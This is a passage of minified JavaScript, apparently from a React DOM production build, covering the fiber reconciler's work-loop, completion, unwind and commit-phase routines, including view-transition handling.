s=!!(o&2);if(s?(o=o&1|2,t.flags|=128):o&=1,Vo(t,o),i===`backwards`&&e!==null?(cl(e),Ic(e,t,r,n),cl(e)):Ic(e,t,r,n),r=R?Yi:0,!s&&e!==null&&e.flags&128)a:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&al(e,n,t);else if(e.tag===19)al(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break a;for(;e.sibling===null;){if(e.return===null||e.return===t)break a;e=e.return}e.sibling.return=e.return,e=e.sibling}switch(i){case`backwards`:n=ol(t.child),n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null,cl(t)),sl(t,!0,i,null,a,r);break;case`unstable_legacy-backwards`:for(n=null,i=t.child,t.child=null;i!==null;){if(e=i.alternate,e!==null&&Uo(e)===null){t.child=i;break}e=i.sibling,i.sibling=n,n=i,i=e}sl(t,!0,n,null,a,r);break;case`together`:sl(t,!1,null,null,void 0,r);break;case`independent`:t.memoizedState=null;break;default:n=ol(t.child),n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null),sl(t,!1,i,n,a,r)}return t.child}function ul(e,t,n){var r=t.pendingProps;return ba(t,t.type,r.value),Ic(e,t,r.children,n),t.child}function dl(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),sd|=t.lanes,(n&t.childLanes)===0){if(e!==null){if(wa(e,t,n,!1),(n&t.childLanes)===0)return null}else return null}if(e!==null&&t.child!==e.child)throw Error(i(153));if(t.child!==null){for(e=t.child,n=Li(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=Li(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function fl(e,t){return(e.lanes&t)!==0||(e=e.dependencies,!!(e!==null&&Ta(e)))}function pl(e,t,n){switch(t.tag){case 3:Pe(t,t.stateNode.containerInfo),ba(t,Na,e.memoizedState.cache),ma();break;case 27:case 5:Ie(t);break;case 4:Pe(t,t.stateNode.containerInfo);break;case 10:ba(t,t.type,t.memoizedProps.value);break;case 31:if(t.memoizedState!==null)return t.flags|=128,Io(t),null;break;case 13:var r=t.memoizedState;if(r!==null){if(r.dehydrated!==null)return Fo(t),t.flags|=128,null;r=wa(e,t,n,!1);var i=t.child.childLanes;return r||(n&i)!==0?el(e,t,n):(Fo(t),e=dl(e,t,n),e===null?null:e.sibling)}Fo(t);break;case 19:if(t.flags&128)return ll(e,t,n);if(i=!!(e.flags&128),r=(n&t.childLanes)!==0,r||=(wa(e,t,n,!1),(n&t.childLanes)!==0),i){if(r)return ll(e,t,n);t.flags|=128}if(i=t.memoizedState,i!==null&&(i.rendering=null,i.tail=null,i.lastEffect=null),Vo(t,Bo.current),r)break;return null;case 22:return t.lanes=0,Bc(e,t,n,t.pendingProps);case 24:ba(t,Na,e.memoizedState.cache)}return dl(e,t,n)}function ml(e,t,n){if(e!==null){if(e.memoizedProps!==t.pendingProps)Fc=!0;else{if(!fl(e,n)&&!(t.flags&128))return Fc=!1,pl(e,t,n);Fc=!!(e.flags&131072)}}else Fc=!1,R&&t.flags&1048576&&na(t,Yi,t.index);switch(t.lanes=0,t.tag){case 16:a:{var r=t.pendingProps;if(e=ro(t.elementType),t.type=e,typeof e==`function`)Ii(e)?(r=wc(e,r),t.tag=1,t=Yc(null,t,e,r,n)):(t.tag=0,t=qc(null,t,e,r,n));else{if(e!=null){var a=e.$$typeof;if(a===ue){t.tag=11,t=Lc(null,t,e,r,n);break a}if(a===pe){t.tag=14,t=Rc(null,t,e,r,n);break a}if(a===T){t.tag=10,t.type=e,t=ul(null,t,n);break a}}throw t=Ce(e)||e,Error(i(306,t,``))}}return t;case 0:return qc(e,t,t.type,t.pendingProps,n);case 1:return r=t.type,a=wc(r,t.pendingProps),Yc(e,t,r,a,n);case 3:a:{if(Pe(t,t.stateNode.containerInfo),e===null)throw Error(i(387));r=t.pendingProps;var o=t.memoizedState;a=o.element,vo(e,t),To(t,r,null,n);var s=t.memoizedState;if(r=s.cache,ba(t,Na,r),r!==o.cache&&Ca(t,[Na],n,!0),wo(),r=s.element,o.isDehydrated){if(o={element:r,isDehydrated:!1,cache:s.cache},t.updateQueue.baseState=o,t.memoizedState=o,t.flags&256){t=Xc(e,t,r,n);break a}if(r!==a){a=Gi(Error(i(424)),t),ga(a),t=Xc(e,t,r,n);break a}switch(e=t.stateNode.containerInfo,e.nodeType){case 9:e=e.body;break;default:e=e.nodeName===`HTML`?e.ownerDocument.body:e}for(L=lm(e.firstChild),oa=t,R=!0,sa=null,ca=!0,n=ho(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|134221824,n=n.sibling}else{if(ma(),r===a){t=dl(e,t,n);break a}Ic(e,t,r,n)}t=t.child}return t;case 26:return Kc(e,t),e===null?(n=Nm(t.type,null,t.pendingProps,null))?t.memoizedState=n:R||(t.stateNode=fp(t.type,t.pendingProps,Me.current,t)):t.memoizedState=Nm(t.type,e.memoizedProps,t.pendingProps,e.memoizedState),null;case 27:return Ie(t),e===null&&R&&(r=t.stateNode=hm(t.type,t.pendingProps,Me.current),oa=t,ca=!0,a=L,Sp(t.type)?(um=a,L=lm(r.firstChild)):L=a),Ic(e,t,t.pendingProps.children,n),Kc(e,t),e===null&&(t.flags|=4194304),t.child;case 5:return e===null&&R&&((a=r=L)&&(r=rm(r,t.type,t.pendingProps,ca),r===null?a=!1:(t.stateNode=r,oa=t,L=lm(r.firstChild),ca=!1,a=!0)),a||ua(t)),Ie(t),a=t.type,o=t.pendingProps,s=e===null?null:e.memoizedProps,r=o.children,pp(a,o)?r=null:s!==null&&pp(a,s)&&(t.flags|=32),t.memoizedState!==null&&(a=es(e,t,rs,null,null,n),sh._currentValue=a),Kc(e,t),Ic(e,t,r,n),t.child;case 6:return e===null&&R&&((e=n=L)&&(n=im(n,t.pendingProps,ca),n===null?e=!1:(t.stateNode=n,oa=t,L=null,e=!0)),e||ua(t)),null;case 13:return el(e,t,n);case 4:return Pe(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=mo(t,null,r,n):Ic(e,t,r,n),t.child;case 11:return Lc(e,t,t.type,t.pendingProps,n);case 7:return r=t.pendingProps,Kc(e,t),Ic(e,t,r,n),t.child;case 8:return Ic(e,t,t.pendingProps.children,n),t.child;case 12:return Ic(e,t,t.pendingProps.children,n),t.child;case 10:return ul(e,t,n);case 9:return a=t.type._context,r=t.pendingProps.children,Ea(t),a=Da(a),r=r(a),t.flags|=1,Ic(e,t,r,n),t.child;case 14:return Rc(e,t,t.type,t.pendingProps,n);case 15:return zc(e,t,t.type,t.pendingProps,n);case 19:return ll(e,t,n);case 31:return Gc(e,t,n);case 22:return Bc(e,t,n,t.pendingProps);case 24:return Ea(t),r=Da(Na),e===null?(a=Ja(),a===null&&(a=K,o=Pa(),a.pooledCache=o,o.refCount++,o!==null&&(a.pooledCacheLanes|=n),a=o),t.memoizedState={parent:r,cache:a},_o(t),ba(t,Na,a)):((e.lanes&n)!==0&&(vo(e,t),To(t,null,null,n),wo()),a=e.memoizedState,o=t.memoizedState,a.parent===r?(r=o.cache,ba(t,Na,r),r!==a.cache&&Ca(t,[Na],n,!0)):(a={parent:r,cache:r},t.memoizedState=a,t.lanes===0&&(t.memoizedState=t.updateQueue.baseState=a),ba(t,Na,r))),Ic(e,t,t.pendingProps.children,n),t.child;case 30:return t.stateNode===null&&(t.stateNode={autoName:null,paired:null,clones:null,ref:null}),r=t.pendingProps,r.name!=null&&r.name!==`auto`?t.flags|=e===null?18882560:18874368:R&&ra(t),e!==null&&e.memoizedProps.name!==r.name?t.flags|=4194816:Kc(e,t),Ic(e,t,r.children,n),t.child;case 29:throw t.pendingProps}throw Error(i(156,t.tag))}function hl(e){e.flags|=4}function gl(e,t,n,r,i){var a;if((a=!!(e.mode&32))&&(a=n===null?Jm(t,r):Jm(t,r)&&(r.src!==n.src||r.srcSet!==n.srcSet)),a){if(e.flags|=16777216,(i&335544128)===i){if(e.stateNode.complete)e.flags|=8192;else if(Ud())e.flags|=8192;else throw io=eo,Qa}}else e.flags&=-16777217}function _l(e,t){if(t.type!==`stylesheet`||t.state.loading&4)e.flags&=-16777217;else if(e.flags|=16777216,!Ym(t)){if(Ud())e.flags|=8192;else throw io=eo,Qa}}function vl(e,t){t!==null&&(e.flags|=4),e.flags&16384&&(t=e.tag===22?536870912:bt(),e.lanes|=t,dd|=t)}function yl(e,t){if(!R)switch(e.tailMode){case`visible`:break;case`collapsed`:for(var n=e.tail,r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null;break;default:for(t=e.tail,n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null}}function H(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags&1206910976,r|=i.flags&1206910976,i.return=e,i=i.sibling;else for(i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags,r|=i.flags,i.return=e,i=i.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function bl(e,t,n){var r=t.pendingProps;switch(ia(t),t.tag){case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return H(t),null;case 1:return H(t),null;case 3:return n=t.stateNode,r=null,e!==null&&(r=e.memoizedState.cache),t.memoizedState.cache!==r&&(t.flags|=2048),xa(Na),Fe(),n.pendingContext&&(n.context=n.pendingContext,n.pendingContext=null),(e===null||e.child===null)&&(pa(t)?hl(t):e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,ha())),H(t),null;case 26:var a=t.type,o=t.memoizedState;return e===null?(hl(t),o===null?(H(t),gl(t,a,null,r,n)):(H(t),_l(t,o))):o?o===e.memoizedState?(H(t),t.flags&=-16777217):(hl(t),H(t),_l(t,o)):(e=e.memoizedProps,e!==r&&hl(t),H(t),gl(t,a,e,r,n)),null;case 27:if(Le(t),n=Me.current,a=t.type,e!==null&&t.stateNode!=null)e.memoizedProps!==r&&hl(t);else{if(!r){if(t.stateNode===null)throw Error(i(166));return H(t),t.subtreeFlags&=-33554433,null}e=Ae.current,pa(t)?da(t,e):(e=hm(a,r,n),t.stateNode=e,hl(t))}return H(t),t.subtreeFlags&=-33554433,null;case 5:if(Le(t),a=t.type,e!==null&&t.stateNode!=null)e.memoizedProps!==r&&hl(t);else{if(!r){if(t.stateNode===null)throw Error(i(166));return H(t),t.subtreeFlags&=-33554433,null}if(o=Ae.current,pa(t))da(t,o);else{var s=lp(Me.current);switch(o){case 1:o=s.createElementNS(`http://www.w3.org/2000/svg`,a);break;case 2:o=s.createElementNS(`http://www.w3.org/1998/Math/MathML`,a);break;default:switch(a){case`svg`:o=s.createElementNS(`http://www.w3.org/2000/svg`,a);break;case`math`:o=s.createElementNS(`http://www.w3.org/1998/Math/MathML`,a);break;case`script`:o=s.createElement(`div`),o.innerHTML=`<script><\/script>`,o=o.removeChild(o.firstChild);break;case`select`:o=typeof r.is==`string`?s.createElement(`select`,{is:r.is}):s.createElement(`select`),r.multiple?o.multiple=!0:r.size&&(o.size=r.size);break;default:o=typeof r.is==`string`?s.createElement(a,{is:r.is}):s.createElement(a)}}o[k]=t,o[Mt]=r;a:for(s=t.child;s!==null;){if(s.tag===5||s.tag===6)o.appendChild(s.stateNode);else if(s.tag!==4&&s.tag!==27&&s.child!==null){s.child.return=s,s=s.child;continue}if(s===t)break a;for(;s.sibling===null;){if(s.return===null||s.return===t)break a;s=s.return}s.sibling.return=s.return,s=s.sibling}t.stateNode=o;a:switch(np(o,a,r),a){case`button`:case`input`:case`select`:case`textarea`:r=!!r.autoFocus;break a;case`img`:r=!0;break a;default:r=!1}r&&hl(t)}}return H(t),t.subtreeFlags&=-33554433,gl(t,t.type,e===null?null:e.memoizedProps,t.pendingProps,n),null;case 6:if(e&&t.stateNode!=null)e.memoizedProps!==r&&hl(t);else{if(typeof r!=`string`&&t.stateNode===null)throw Error(i(166));if(e=Me.current,pa(t)){if(e=t.stateNode,n=t.memoizedProps,r=null,a=oa,a!==null)switch(a.tag){case 27:case 5:r=a.memoizedProps}e[k]=t,e=!!(e.nodeValue===n||r!==null&&!0===r.suppressHydrationWarning||ep(e.nodeValue,n)),e||ua(t,!0)}else e=lp(e).createTextNode(r),e[k]=t,t.stateNode=e}return H(t),null;case 31:if(n=t.memoizedState,e===null||e.memoizedState!==null){if(r=pa(t),n!==null){if(e===null){if(!r)throw Error(i(318));if(e=t.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(557));e[k]=t}else ma(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;H(t),e=!1}else n=ha(),e!==null&&e.memoizedState!==null&&(e.memoizedState.hydrationErrors=n),e=!0;if(!e)return t.flags&256?(zo(t),t):(zo(t),null);if(t.flags&128)throw Error(i(558))}return H(t),null;case 13:if(r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(a=pa(t),r!==null&&r.dehydrated!==null){if(e===null){if(!a)throw Error(i(318));if(a=t.memoizedState,a=a===null?null:a.dehydrated,!a)throw Error(i(317));a[k]=t}else ma(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;H(t),a=!1}else a=ha(),e!==null&&e.memoizedState!==null&&(e.memoizedState.hydrationErrors=a),a=!0;if(!a)return t.flags&256?(zo(t),t):(zo(t),null)}return zo(t),t.flags&128?(t.lanes=n,t):(n=r!==null,e=e!==null&&e.memoizedState!==null,n&&(r=t.child,a=null,r.alternate!==null&&r.alternate.memoizedState!==null&&r.alternate.memoizedState.cachePool!==null&&(a=r.alternate.memoizedState.cachePool.pool),o=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(o=r.memoizedState.cachePool.pool),o!==a&&(r.flags|=2048)),n!==e&&n&&(t.child.flags|=8192),vl(t,t.updateQueue),H(t),null);case 4:return Fe(),e===null&&Wf(t.stateNode.containerInfo),t.flags|=67108864,H(t),null;case 10:return xa(t.type),H(t),null;case 19:if(Ho(t),r=t.memoizedState,r===null)return H(t),null;if(a=!!(t.flags&128),o=r.rendering,o===null){if(a)yl(r,!1);else{if(od!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=Uo(e),o!==null){for(t.flags|=128,yl(r,!1),e=o.updateQueue,t.updateQueue=e,vl(t,e),t.subtreeFlags=0,e=n,n=t.child;n!==null;)Ri(n,e),n=n.sibling;return Vo(t,Bo.current&1|2),R&&ta(t,r.treeForkCount),t.child}e=e.sibling}r.tail!==null&&Xe()>_d&&(t.flags|=128,a=!0,yl(r,!1),t.lanes=4194304)}}else{if(!a){if(e=Uo(o),e!==null){if(t.flags|=128,a=!0,e=e.updateQueue,t.updateQueue=e,vl(t,e),yl(r,!0),r.tail===null&&r.tailMode!==`collapsed`&&r.tailMode!==`visible`&&!o.alternate&&!R)return H(t),null}else 2*Xe()-r.renderingStartTime>_d&&n!==536870912&&(t.flags|=128,a=!0,yl(r,!1),t.lanes=4194304)}r.isBackwards?(o.sibling=t.child,t.child=o):(e=r.last,e===null?t.child=o:e.sibling=o,r.last=o)}if(r.tail!==null){e=r.tail;a:{for(n=e;n!==null;){if(n.alternate!==null){n=!1;break a}n=n.sibling}n=!0}return r.rendering=e,r.tail=e.sibling,r.renderingStartTime=Xe(),e.sibling=null,o=Bo.current,o=a?o&1|2:o&1,r.tailMode===`visible`||r.tailMode===`collapsed`||!n||R?Vo(t,o):(n=o,O(No,t),O(Bo,n),Po===null&&(Po=t)),R&&ta(t,r.treeForkCount),e}return H(t),null;case 22:case 23:return zo(t),Mo(),r=t.memoizedState!==null,e===null?r&&(t.flags|=8192):e.memoizedState!==null!==r&&(t.flags|=8192),r?n&536870912&&!(t.flags&128)&&(H(t),t.subtreeFlags&6&&(t.flags|=8192)):H(t),n=t.updateQueue,n!==null&&vl(t,n.retryQueue),n=null,e!==null&&e.memoizedState!==null&&e.memoizedState.cachePool!==null&&(n=e.memoizedState.cachePool.pool),r=null,t.memoizedState!==null&&t.memoizedState.cachePool!==null&&(r=t.memoizedState.cachePool.pool),r!==n&&(t.flags|=2048),e!==null&&ke(qa),null;case 24:return n=null,e!==null&&(n=e.memoizedState.cache),t.memoizedState.cache!==n&&(t.flags|=2048),xa(Na),H(t),null;case 25:return null;case 30:return t.flags|=33554432,H(t),null}throw Error(i(156,t.tag))}function xl(e,t){switch(ia(t),t.tag){case 1:return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return xa(Na),Fe(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 26:case 27:case 5:return Le(t),null;case 31:if(t.memoizedState!==null){if(zo(t),t.alternate===null)throw Error(i(340));ma()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 13:if(zo(t),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(i(340));ma()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ho(t),e=t.flags,e&65536?(t.flags=e&-65537|128,e=t.memoizedState,e!==null&&(e.rendering=null,e.tail=null),t.flags|=4,t):null;case 4:return Fe(),null;case 10:return xa(t.type),null;case 22:case 23:return zo(t),Mo(),e!==null&&ke(qa),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 24:return xa(Na),null;case 25:return null;default:return null}}function Sl(e,t){switch(ia(t),t.tag){case 3:xa(Na),Fe();break;case 26:case 27:case 5:Le(t);break;case 4:Fe();break;case 31:t.memoizedState!==null&&zo(t);break;case 13:zo(t);break;case 19:Ho(t);break;case 10:xa(t.type);break;case 22:case 23:zo(t),Mo(),e!==null&&ke(qa);break;case 24:xa(Na)}}function Cl(e,t){try{var n=t.updateQueue,r=n===null?null:n.lastEffect;if(r!==null){var i=r.next;n=i;do{if((n.tag&e)===e){r=void 0;var a=n.create,o=n.inst;r=a(),o.destroy=r}n=n.next}while(n!==i)}}catch(e){Z(t,t.return,e)}}function wl(e,t,n){try{var r=t.updateQueue,i=r===null?null:r.lastEffect;if(i!==null){var a=i.next;r=a;do{if((r.tag&e)===e){var o=r.inst,s=o.destroy;if(s!==void 0){o.destroy=void 0,i=t;var c=n,l=s;try{l()}catch(e){Z(i,c,e)}}}r=r.next}while(r!==a)}}catch(e){Z(t,t.return,e)}}function Tl(e){var t=e.updateQueue;if(t!==null){var n=e.stateNode;try{Do(t,n)}catch(t){Z(e,e.return,t)}}}function El(e,t,n){n.props=wc(e.type,e.memoizedProps),n.state=e.memoizedState;try{n.componentWillUnmount()}catch(n){Z(e,t,n)}}function Dl(e,t){try{var n=e.ref;if(n!==null){switch(e.tag){case 26:case 27:case 5:var r=e.stateNode;break;case 30:var i=e.stateNode,a=bi(e.memoizedProps,i);(i.ref===null||i.ref.name!==a)&&(i.ref=Pp(a)),r=i.ref;break;case 7:if(e.stateNode===null){var o=new Fp(e);h(e.child,!1,Qp,o,void 0,void 0),e.stateNode=o}r=e.stateNode;break;default:r=e.stateNode}typeof n==`function`?e.refCleanup=n(r):n.current=r}}catch(n){Z(e,t,n)}}function Ol(e,t){var n=e.ref,r=e.refCleanup;if(n!==null){if(typeof r==`function`)try{r()}catch(n){Z(e,t,n)}finally{e.refCleanup=null,e=e.alternate,e!=null&&(e.refCleanup=null)}else if(typeof n==`function`)try{n(null)}catch(n){Z(e,t,n)}else n.current=null}}function kl(e,t){if((e.tag===5||e.tag===27||e.tag===6)&&e.alternate===null&&t!==null)for(var n=0;n<t.length;n++)em(e.stateNode,t[n])}function Al(e){for(var t=e.return;t!==null&&(Nl(t)&&em(e.stateNode,t.stateNode),!Ml(t));)t=t.return}function jl(e){for(var t=e.return;t!==null&&(Nl(t)&&tm(e.stateNode,t.stateNode),!Ml(t));)t=t.return}function Ml(e){return e.tag===5||e.tag===3||e.tag===27}function Nl(e){return e&&e.tag===7&&e.stateNode!==null}function Pl(e){var t=e.type,n=e.memoizedProps,r=e.stateNode;try{a:switch(t){case`button`:case`input`:case`select`:case`textarea`:n.autoFocus&&r.focus();break a;case`img`:n.src?r.src=n.src:n.srcSet&&(r.srcset=n.srcSet)}}catch(t){Z(e,e.return,t)}}function Fl(e,t,n){try{var r=e.stateNode;ip(r,e.type,n,t),r[Mt]=t}catch(t){Z(e,e.return,t)}}function Il(e){return e.tag===5||e.tag===3||e.tag===26||e.tag===27&&Sp(e.type)||e.tag===4}function Ll(e){a:for(;;){for(;e.sibling===null;){if(e.return===null||Il(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.tag===27&&Sp(e.type)||e.flags&2||e.child===null||e.tag===4)continue a;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Rl(e,t,n,r){var i=e.tag;if(i===5||i===6)i=e.stateNode,t?(n.nodeType===9?n.body:n.nodeName===`HTML`?n.ownerDocument.body:n).insertBefore(i,t):(t=n.nodeType===9?n.body:n.nodeName===`HTML`?n.ownerDocument.body:n,t.appendChild(i),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=xn)),kl(e,r),I=!0;else if(i!==4&&(i===27&&(kl(e,r),r=null,Sp(e.type)&&(n=e.stateNode,t=null)),e=e.child,e!==null))for(Rl(e,t,n,r),e=e.sibling;e!==null;)Rl(e,t,n,r),e=e.sibling}function zl(e,t,n,r){var i=e.tag;if(i===5||i===6)i=e.stateNode,t?n.insertBefore(i,t):n.appendChild(i),kl(e,r),I=!0;else if(i!==4&&(i===27&&(kl(e,r),r=null,Sp(e.type)&&(n=e.stateNode)),e=e.child,e!==null))for(zl(e,t,n,r),e=e.sibling;e!==null;)zl(e,t,n,r),e=e.sibling}function Bl(e){var t=e.stateNode,n=e.memoizedProps;try{for(var r=e.type,i=t.attributes;i.length;)t.removeAttributeNode(i[0]);np(t,r,n),t[k]=e,t[Mt]=n}catch(t){Z(e,e.return,t)}}var Vl=!1,Hl=null;function Ul(e){(e.tag===30||e.subtreeFlags&33554432)&&(Vl=!0)}var Wl=null;function Gl(){var e=Wl;return Wl=null,e}var Kl=0;function ql(e,t,n,r,i){return Kl=0,Jl(e.child,t,n,r,i)}function Jl(e,t,n,r,i){for(var a=!1;e!==null;){if(e.tag===5){var o=e.stateNode;if(r!==null){var s=Op(o);r.push(s),s.view&&(a=!0)}else a||Op(o).view&&(a=!0);Vl=!0,Tp(o,Kl===0?t:t+`_`+Kl,n),Kl++}else(e.tag!==22||e.memoizedState===null)&&(e.tag===30&&i||Jl(e.child,t,n,r,i)&&(a=!0));e=e.sibling}return a}function Yl(e,t){for(;e!==null;)e.tag===5?Ep(e.stateNode,e.memoizedProps):(e.tag!==22||e.memoizedState===null)&&(e.tag===30&&t||Yl(e.child,t)),e=e.sibling}function Xl(e){if(e.subtreeFlags&18874368)for(e=e.child;e!==null;){if((e.tag!==22||e.memoizedState===null)&&(Xl(e),e.tag===30&&e.flags&18874368&&e.stateNode.paired)){var t=e.memoizedProps;if(t.name==null||t.name===`auto`)throw Error(i(544));var n=t.name;t=Si(t.default,t.share),t!==`none`&&(ql(e,n,t,null,!1)||Yl(e.child,!1))}e=e.sibling}}function Zl(e,t){if(e.tag===30){var n=e.stateNode,r=e.memoizedProps,i=bi(r,n),a=Si(r.default,n.paired?r.share:r.enter);a===`none`?Xl(e):ql(e,i,a,null,!1)?(Xl(e),n.paired||t||Nd(e,r.onEnter)):Yl(e.child,!1)}else if(e.subtreeFlags&33554432)for(e=e.child;e!==null;)Zl(e,t),e=e.sibling;else Xl(e)}function Ql(e){if(Hl!==null&&Hl.size!==0){var t=Hl;if(e.subtreeFlags&18874368)for(e=e.child;e!==null;){if(e.tag!==22||e.memoizedState===null){if(e.tag===30&&e.flags&18874368){var n=e.memoizedProps,r=n.name;if(r!=null&&r!==`auto`){var i=t.get(r);if(i!==void 0){var a=Si(n.default,n.share);if(a!==`none`&&(ql(e,r,a,null,!1)?(a=e.stateNode,i.paired=a,a.paired=i,Nd(e,n.onShare)):Yl(e.child,!1)),t.delete(r),t.size===0)break}}}Ql(e)}e=e.sibling}}}function $l(e){if(e.tag===30){var t=e.memoizedProps,n=bi(t,e.stateNode),r=Hl===null?void 0:Hl.get(n),i=Si(t.default,r===void 0?t.exit:t.share);i!==`none`&&(ql(e,n,i,null,!1)?r===void 0?Nd(e,t.onExit):(i=e.stateNode,r.paired=i,i.paired=r,Hl.delete(n),Nd(e,t.onShare)):Yl(e.child,!1)),Hl!==null&&Ql(e)}else if(e.subtreeFlags&33554432)for(e=e.child;e!==null;)$l(e),e=e.sibling;else Hl!==null&&Ql(e)}function eu(e){for(e=e.child;e!==null;){if(e.tag===30){var t=e.memoizedProps,n=bi(t,e.stateNode);t=Si(t.default,t.update),e.flags&=-5,t!==`none`&&ql(e,n,t,e.memoizedState=[],!1)}else e.subtreeFlags&33554432&&eu(e);e=e.sibling}}function tu(e){if(e.subtreeFlags&18874368)for(e=e.child;e!==null;){if(e.tag!==22||e.memoizedState===null){if(e.tag===30&&e.flags&18874368){var t=e.stateNode;t.paired!==null&&(t.paired=null,Yl(e.child,!1))}tu(e)}e=e.sibling}}function nu(e){if(e.tag===30)e.stateNode.paired=null,Yl(e.child,!1),tu(e);else if(e.subtreeFlags&33554432)for(e=e.child;e!==null;)nu(e),e=e.sibling;else tu(e)}function ru(e){for(e=e.child;e!==null;)e.tag===30?Yl(e.child,!1):e.subtreeFlags&33554432&&ru(e),e=e.sibling}function iu(e,t,n,r,i,a,o){for(var s=!1;t!==null;){if(t.tag===5){var c=t.stateNode;if(a!==null&&Kl<a.length){var l=a[Kl],u=Op(c);(l.view||u.view)&&(s=!0);var d;if(d=!(e.flags&4)){if(u.clip)d=!0;else{d=l.rect;var f=u.rect;d=d.y!==f.y||d.x!==f.x||d.height!==f.height||d.width!==f.width}}d&&(e.flags|=4),u.abs?u=!l.abs:(l=l.rect,u=u.rect,u=l.height!==u.height||l.width!==u.width),u&&(e.flags|=32)}else e.flags|=32;e.flags&4&&Tp(c,Kl===0?n:n+`_`+Kl,i),s&&e.flags&4||(Wl===null&&(Wl=[]),Wl.push(c,Kl===0?r:r+`_`+Kl,t.memoizedProps)),Kl++}else(t.tag!==22||t.memoizedState===null)&&(t.tag===30&&o?e.flags|=t.flags&32:iu(e,t.child,n,r,i,a,o)&&(s=!0));t=t.sibling}return s}function au(e,t){for(e=e.child;e!==null;){if(e.tag===30){var n=e.memoizedProps,r=e.stateNode,i=bi(n,r),a=Si(n.default,n.update);if(t){r=r.clones;var o=r===null?null:r.map(kp)}else o=e.memoizedState,e.memoizedState=null;r=e;var s=e.child;Kl=0,i=iu(r,s,i,i,a,o,!1),e.flags&4&&i&&(t||Nd(e,n.onUpdate))}else e.subtreeFlags&33554432&&au(e,t);e=e.sibling}}var ou=!1,U=!1,su=!1,cu=!1,lu=typeof WeakSet==`function`?WeakSet:Set,uu=null,du=!1,fu=!1,pu=!1,mu=!1;function hu(e,t,n){if(e=e.containerInfo,sp=gh,e=Xr(e),Zr(e)){if(`selectionStart`in e)var r={start:e.selectionStart,end:e.selectionEnd};else a:{r=(r=e.ownerDocument)&&r.defaultView||window;var i=r.getSelection&&r.getSelection();if(i&&i.rangeCount!==0){r=i.anchorNode;var a=i.anchorOffset,o=i.focusNode;i=i.focusOffset;try{r.nodeType,o.nodeType}catch{r=null;break a}var s=0,c=-1,l=-1,u=0,d=0,f=e,p=null;b:for(;;){for(var m;f!==r||a!==0&&f.nodeType!==3||(c=s+a),f!==o||i!==0&&f.nodeType!==3||(l=s+i),f.nodeType===3&&(s+=f.nodeValue.length),(m=f.firstChild)!==null;)p=f,f=m;for(;;){if(f===e)break b;if(p===r&&++u===a&&(c=s),p===o&&++d===i&&(l=s),(m=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=m}r=c===-1||l===-1?null:{start:c,end:l}}else r=null}r||={start:0,end:0}}else r=null;for(cp={focusedElem:e,selectionRange:r},gh=!1,n=(n&335544064)===n,uu=t,t=n?9270:1024;uu!==null;){if(e=uu,n&&(r=e.deletions,r!==null))for(a=0;a<r.length;a++)n&&$l(r[a]);if(e.alternate===null&&e.flags&2)n&&Ul(e),gu(n);else{if(e.tag===22){if(r=e.alternate,e.memoizedState!==null){r!==null&&r.memoizedState===null&&n&&$l(r),gu(n);continue}if(r!==null&&r.memoizedState!==null){n&&Ul(e),gu(n);continue}}r=e.child,(e.subtreeFlags&t)!==0&&r!==null?(r.return=e,uu=r):(n&&eu(e),gu(n))}}Hl=null}function gu(e){for(;uu!==null;){var t=uu,n=e,r=t.alternate,a=t.flags;switch(t.tag){case 0:case 11:case 15:break;case 1:if(a&1024&&r!==null){n=void 0,a=r.memoizedProps,r=r.memoizedState;var o=t.stateNode;try{var s=wc(t.type,a);n=o.getSnapshotBeforeUpdate(s,r),o.__reactInternalSnapshotBeforeUpdate=n}catch(e){Z(t,t.return,e)}}break;case 3:if(a&1024){if(r=t.stateNode.containerInfo,n=r.nodeType,n===9)nm(r);else if(n===1)switch(r.nodeName){case`HEAD`:case`HTML`:case`BODY`:nm(r);break;default:r.textContent=``}}break;case 5:case 26:case 27:case 6:case 4:case 17:break;case 30:n&&r!==null&&(n=bi(r.memoizedProps,r.stateNode),a=t.memoizedProps,a=Si(a.default,a.update),a!==`none`&&ql(r,n,a,r.memoizedState=[],!0));break;default:if(a&1024)throw Error(i(163))}if(r=t.sibling,r!==null){r.return=t.return,uu=r;break}uu=t.return}}function _u(e,t,n){var r=n.flags;switch(n.tag){case 0:case 11:case 15:Iu(e,n),r&4&&Cl(5,n);break;case 